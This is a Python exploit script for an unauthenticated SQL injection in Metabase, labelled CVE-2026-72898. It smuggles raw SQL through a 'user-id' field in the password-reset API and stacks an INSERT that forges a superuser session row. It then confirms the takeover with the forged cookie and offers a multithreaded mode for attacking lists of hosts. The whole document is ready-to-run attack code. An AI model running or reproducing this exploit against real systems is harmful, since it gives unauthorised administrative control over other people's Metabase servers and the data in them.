📄 Metabase 0.63.4 SQL Injection

#!/usr/bin/env python3
    """
    CVE-2026-72898 - Metabase unauthenticated SQL injection -> admin session forgery
    Affected: Metabase OSS 0.58.0-0.58.23, 0.59.0-0.59.20, 0.60.0-0.60.16,
              0.61.0-0.61.10, 0.62.0-0.62.8, 0.63.0-0.63.4 (Enterprise 1.58.x-1.63.x)
    Type: SQL Injection (unauthenticated) -> forged superuser session -> full takeover
    
    Root cause (see EXPLOITATION.md):
      POST /api/session/reset_password validates its JSON body against an OPEN Malli
      map schema, so unknown keys are kept. The login! pipeline does
      (merge request (authenticate ...)); on a failed reset the authenticate result
      has no :user-id, so a body-supplied "user-id" survives into
      (t2/select-one [:model/User ...] :id user-id). HoneySQL 2 renders a *map* value
      in expression position as raw SQL, so a body value of {"raw": "<SQL>"} is
      spliced unparameterised into:
          SELECT id, is_active, last_login, tenant_id FROM core_user WHERE id = (<SQL>)
      On the default embedded H2 application DB, stacked statements execute, so the
      injected SQL can INSERT a core_session row keyed to admin (user 1) - forging an
      unauthenticated superuser session in a single request.
    
    Success is judged ONLY by step 2: GET /api/user/current with the forged cookie
    returning HTTP 200 and a user object (is_superuser true for the admin). The step-1
    response is always HTTP 400 and is meaningless as a signal.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 3000
      python exploit.py --host https://metabase.corp.com
      python exploit.py --host https://metabase.corp.com:8443 --user-id 1
      python exploit.py --host 10.0.0.5 --port 3000 --payload "1) UNION SELECT 1,true,null,null --"
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import hashlib
    import json
    import secrets
    import sys
    import time
    import uuid
    from urllib.parse import urlparse
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        print("This exploit requires the 'requests' library:  pip install requests")
        sys.exit(2)
    
    CVE_ID = "CVE-2026-72898"
    VULN_TYPE = "SQL Injection (unauth) -> admin session forgery"
    
    RESET_PATH = "/api/session/reset_password"
    WHOAMI_PATH = "/api/user/current"
    SESSION_COOKIE = "metabase.SESSION"
    
    # Default injected SQL: forge a session row for the target user id on H2.
    # {S} = new session-row id, {H} = sha512hex of the session key, {UID} = target user.
    # Leading "1)" closes the parenthesis HoneySQL wraps the value in; trailing "--"
    # comments out the closing ")". Stacked statements run on the default H2 backend.
    DEFAULT_PAYLOAD = (
        "1); INSERT INTO core_session (id, user_id, key_hashed, created_at) "
        "VALUES ('{S}', {UID}, '{H}', CURRENT_TIMESTAMP); SELECT 1 --"
    )
    
    DEFAULT_TIMEOUT = 20
    
    
    # --------------------------------------------------------------------------- #
    # Standard output helpers
    # --------------------------------------------------------------------------- #
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    # Core logic
    # --------------------------------------------------------------------------- #
    def _base_url(host: str, port: int, use_tls: bool, path: str = "") -> str:
        scheme = "https" if use_tls else "http"
        netloc = host if host.startswith(("http://", "https://")) else f"{scheme}://{host}:{port}"
        return netloc.rstrip("/") + path
    
    
    def _make_session_key() -> tuple:
        """Return (K, H, S): plaintext key, its sha512 hex, and a fresh row id.
    
        K is UUID-shaped (what the cookie carries). H = sha512hex(K) is what Metabase
        stores in core_session.key_hashed. S is a 12-char non-UUID row id so it never
        collides with a real UUID-keyed session. All are nonced per attempt.
        """
        k = str(uuid.UUID(bytes=secrets.token_bytes(16)))
        h = hashlib.sha512(k.encode("ascii")).hexdigest()
        s = secrets.token_hex(6)  # 12 hex chars, not UUID-shaped
        return k, h, s
    
    
    def _forge(base: str, payload_tmpl: str, user_id: int, s_id: str, h_hash: str) -> tuple:
        """Send the injection request (step 1). Returns (status, body_text).
    
        A strong, complexity-valid password and a non-blank token are required to pass
        schema validation before the body reaches the vulnerable sink; both are random
        per run and never persist (the reset always fails).
        """
        payload_sql = payload_tmpl.format(S=s_id, H=h_hash, UID=user_id)
        token = secrets.token_hex(4) + "_" + secrets.token_hex(4)
        password = "Aa1!" + secrets.token_urlsafe(12)
        body = {
            "token": token,
            "password": password,
            "user-id": {"raw": payload_sql},
        }
        r = requests.post(
            base + RESET_PATH,
            json=body,
            headers={"Content-Type": "application/json"},
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )
        return r.status_code, r.text
    
    
    def _whoami(base: str, key: str) -> tuple:
        """Step 2: use the forged session cookie. Returns (status, parsed_json_or_None, text)."""
        r = requests.get(
            base + WHOAMI_PATH,
            cookies={SESSION_COOKIE: key},
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )
        try:
            return r.status_code, r.json(), r.text
        except ValueError:
            return r.status_code, None, r.text
    
    
    def _try_exploit(host: str, port: int, use_tls: bool,
                     payload_tmpl: str = DEFAULT_PAYLOAD, user_id: int = 1,
                     path: str = "") -> tuple:
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
        try:
            base = _base_url(host, port, use_tls, path)
            key, h_hash, s_id = _make_session_key()
            try:
                _forge(base, payload_tmpl, user_id, s_id, h_hash)
            except requests.RequestException as e:
                return False, f"unreachable ({e.__class__.__name__})"
            time.sleep(1.0)  # let the injected INSERT commit before we use the cookie
            status, data, _ = _whoami(base, key)
            if status == 200 and isinstance(data, dict) and data.get("id") is not None:
                email = data.get("email", "?")
                sup = data.get("is_superuser", False)
                return True, f"forged session as '{email}' (id={data.get('id')}, superuser={sup})"
            return False, f"session not forged (whoami HTTP {status}) - patched or non-H2 backend"
        except Exception as e:  # noqa: BLE001 - probe must never raise
            return False, f"error ({e.__class__.__name__})"
    
    
    def exploit(host: str, port: int, use_tls: bool, payload_tmpl: str, user_id: int,
                path: str = "") -> None:
        header(host, port)
        base = _base_url(host, port, use_tls, path)
    
        step(1, "Generating a per-run session key and forging an admin session row via SQLi")
        key, h_hash, s_id = _make_session_key()
        print(f"        session key (cookie value) : {key}")
        print(f"        core_session.key_hashed     : {h_hash[:32]}...")
        print(f"        core_session.id (row)       : {s_id}")
        print(f"        target user_id              : {user_id}")
    
        try:
            st1, body1 = _forge(base, payload_tmpl, user_id, s_id, h_hash)
        except requests.RequestException as e:
            section("CONNECTION ERROR", str(e))
            done(False, f"could not reach {base}{RESET_PATH} ({e.__class__.__name__})")
    
        section("STEP 1 RESPONSE (expected HTTP 400 - meaningless as a signal)",
                f"HTTP {st1}\n{body1[:500]}")
        # A patched build rejects the open-map smuggling at schema validation.
        if "disallowed key" in body1 or "specific-errors" in body1:
            section("PATCH INDICATOR",
                    "Response rejected 'user-id' as a disallowed key - target strips "
                    "pipeline-owned keys before merge (fixed build).")
            done(False, "target appears PATCHED - injected key rejected at schema validation")
    
        step(2, "Waiting for the injected INSERT to commit, then using the forged cookie")
        time.sleep(1.0)
    
        st2, data, text2 = _whoami(base, key)
        if st2 == 200 and isinstance(data, dict) and data.get("id") is not None:
            pretty = json.dumps(
                {k: data.get(k) for k in
                 ("id", "email", "first_name", "last_name", "is_superuser", "is_active")},
                indent=2)
            section("AUTHENTICATED RESPONSE (GET /api/user/current)", pretty)
            email = data.get("email", "?")
            sup = data.get("is_superuser", False)
            role = "SUPERUSER" if sup else "authenticated user"
            done(True,
                 f"Unauthenticated {role} takeover - forged session as '{email}' "
                 f"(id={data.get('id')}, is_superuser={sup}). Cookie: {SESSION_COOKIE}={key}")
        else:
            section("STEP 2 RESPONSE", f"HTTP {st2}\n{text2[:400]}")
            done(False,
                 f"forged cookie rejected (whoami HTTP {st2}) - target patched, "
                 f"or application DB is not H2 (stacked write did not land)")
    
    
    # --------------------------------------------------------------------------- #
    # Batch scan mode
    # --------------------------------------------------------------------------- #
    def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10,
             payload_tmpl: str = DEFAULT_PAYLOAD, user_id: int = 1) -> None:
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, payload_tmpl, user_id,
                                        path if path not in ("", "/") else "")
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    # Entry point
    # --------------------------------------------------------------------------- #
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
        parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
                            help="Raw SQL spliced into the user-id field. Default forges an "
                                 "admin session; use {S}/{H}/{UID} placeholders for a custom "
                                 "session-forgery template, or a bare fragment for a raw probe.")
        parser.add_argument("--user-id", type=int, default=1,
                            help="core_user id to forge a session for (default: 1 = first admin)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 payload_tmpl=args.payload, user_id=args.user_id)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.payload, args.user_id,
                    path if path not in ("", "/") else "")